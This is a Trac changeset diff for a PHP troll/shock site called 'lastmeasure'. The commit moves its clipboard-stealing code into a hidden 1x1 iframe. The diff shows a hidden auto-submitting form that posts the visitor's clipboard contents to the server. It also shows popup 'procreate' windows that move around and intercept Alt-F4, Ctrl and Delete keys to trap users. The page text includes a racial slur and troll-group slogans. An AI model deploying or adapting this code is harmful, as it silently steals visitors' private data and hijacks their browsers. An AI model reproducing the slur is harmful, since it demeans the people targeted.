Changeset 161 for trollforge/lastmeasure


Ignore:
Timestamp:
12/01/05 15:19:48 (7 years ago)
Author:
sam
Message:
  • moved the clipboard stealing code into an <iframe>
File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/index.php

    r157 r161  
    77 
    88/* Additional information */ 
    9 $send = $_POST['send']; 
     9$steal = $_GET['steal']; 
     10$procreate = $_GET['procreate']; 
    1011$popup = $_GET['popup']; 
    11 $procreate = $_GET['procreate']; 
    1212 
    1313/* Print a random image name, with its 'image/' prefix. */ 
     
    273273    /* 
    274274     * 
    275      *  First window ever, this should be our entry point 
     275     *  Clipboard stealing subwindow 
    276276     * 
    277277     */ 
    278278 
    279     if(!$popup && !$send && !$procreate) { 
    280         $key = store_hit(); ?> 
     279    if($steal) { ?> 
    281280    <body> 
    282       <?php include "include/goatse.php"; ?> 
    283       <form name="clip" method="post" action="index.php" style="display:none"> 
     281      <?php if($_POST["content"]) { 
     282          store_clipboard(); 
     283      } else { 
     284      //include "include/goatse.php"; ?> 
     285      <form name="clip" method="post" action="index.php?steal=1" style="display:none"> 
    284286        <input type="text" name="content"> 
    285         <input type="hidden" name="send" value="1"> 
    286         <input type="hidden" name="key" value="<?php echo $key; ?>"> 
     287        <input type="hidden" name="key" value="<?php echo $_GET['key']; ?>"> 
    287288        <input type="submit"> 
    288289      </form> 
     
    295296        document.forms["clip"].submit(); 
    296297      </script> 
     298      <?php } ?> 
    297299    </body><?php 
    298300 
    299301    /* 
    300302     * 
    301      *  This is still the first window, but we got the clipboard contents 
     303     *  Window is a procreate window 
    302304     * 
    303305     */ 
    304306 
    305     } elseif($send || $popup) { 
    306       if($send) { 
    307         store_clipboard(); 
     307    } elseif($procreate) { 
     308      ?> 
     309<body bgColor="#ffffff" 
     310      onLoad="document.goatse.reset();movew0w();return true;bookmark();" 
     311      onKeyDown="altf4key();ctrlkey();delkey();" 
     312      onMouseOver="procreate();movew0w();"> 
     313  <?php move_around(800, 600);?> 
     314  <h1>PROCREATING LAST MEASURE!!!</h1> 
     315  <h1>GNAA > j00</h1> 
     316  <h1>Fristage Postage is MINE.</h1> 
     317  <h1>EAT THIS, GOOGLE TOOLBAR.</h1> 
     318  fucking nigger operating system.. at least in fucking Firebird you don't 
     319  have to do this shit. 
     320  <?php hey_everybody(); ?> 
     321  <form name="goatse" action="#" ONreset="procreate(); return true;"> 
     322  </form> 
     323</body> 
     324<?php 
     325 
     326    /* 
     327     * 
     328     *  This is either the first window or a popup window 
     329     * 
     330     */ 
     331 
     332    } else { 
     333      if($popup) { 
     334        $flash = 'flash/second_opener.swf'; 
     335      } else { 
     336        $key = store_hit(); 
    308337        $flash = 'flash/first_opener.swf'; 
    309       } else { 
    310         $flash = 'flash/second_opener.swf'; 
    311338      }  
    312339      ?> 
     
    346373  </table> 
    347374  <form> 
    348   <?php if($send) { 
     375  <?php if(!$popup) { 
    349376    hey_everybody(); ?> 
     377    <iframe width=1 height=1 src="/index.php?steal=1&amp;key=<?php echo $key;?>"></iframe> 
    350378    <input type="submit" value="CLICK ME" name="CLICK ME" 
    351379           style="width: 2000px; height: 2000px; 
     
    369397</body><?php 
    370398 
    371     /* 
    372      * 
    373      *  Window is a procreate window 
    374      * 
    375      */ 
    376  
    377     } elseif($procreate) { 
    378       ?> 
    379 <body bgColor="#ffffff" 
    380       onLoad="document.goatse.reset();movew0w();return true;bookmark();" 
    381       onKeyDown="altf4key();ctrlkey();delkey();" 
    382       onMouseOver="procreate();movew0w();"> 
    383   <?php move_around(800, 600);?> 
    384   <h1>PROCREATING LAST MEASURE!!!</h1> 
    385   <h1>GNAA > j00</h1> 
    386   <h1>Fristage Postage is MINE.</h1> 
    387   <h1>EAT THIS, GOOGLE TOOLBAR.</h1> 
    388   fucking nigger operating system.. at least in fucking Firebird you don't 
    389   have to do this shit. 
    390   <?php hey_everybody(); ?> 
    391   <form name="goatse" action="#" ONreset="procreate(); return true;"> 
    392   </form> 
    393 </body> 
    394 <?php 
    395  
    396399    } 
    397400?> 
Note: See TracChangeset for help on using the changeset viewer.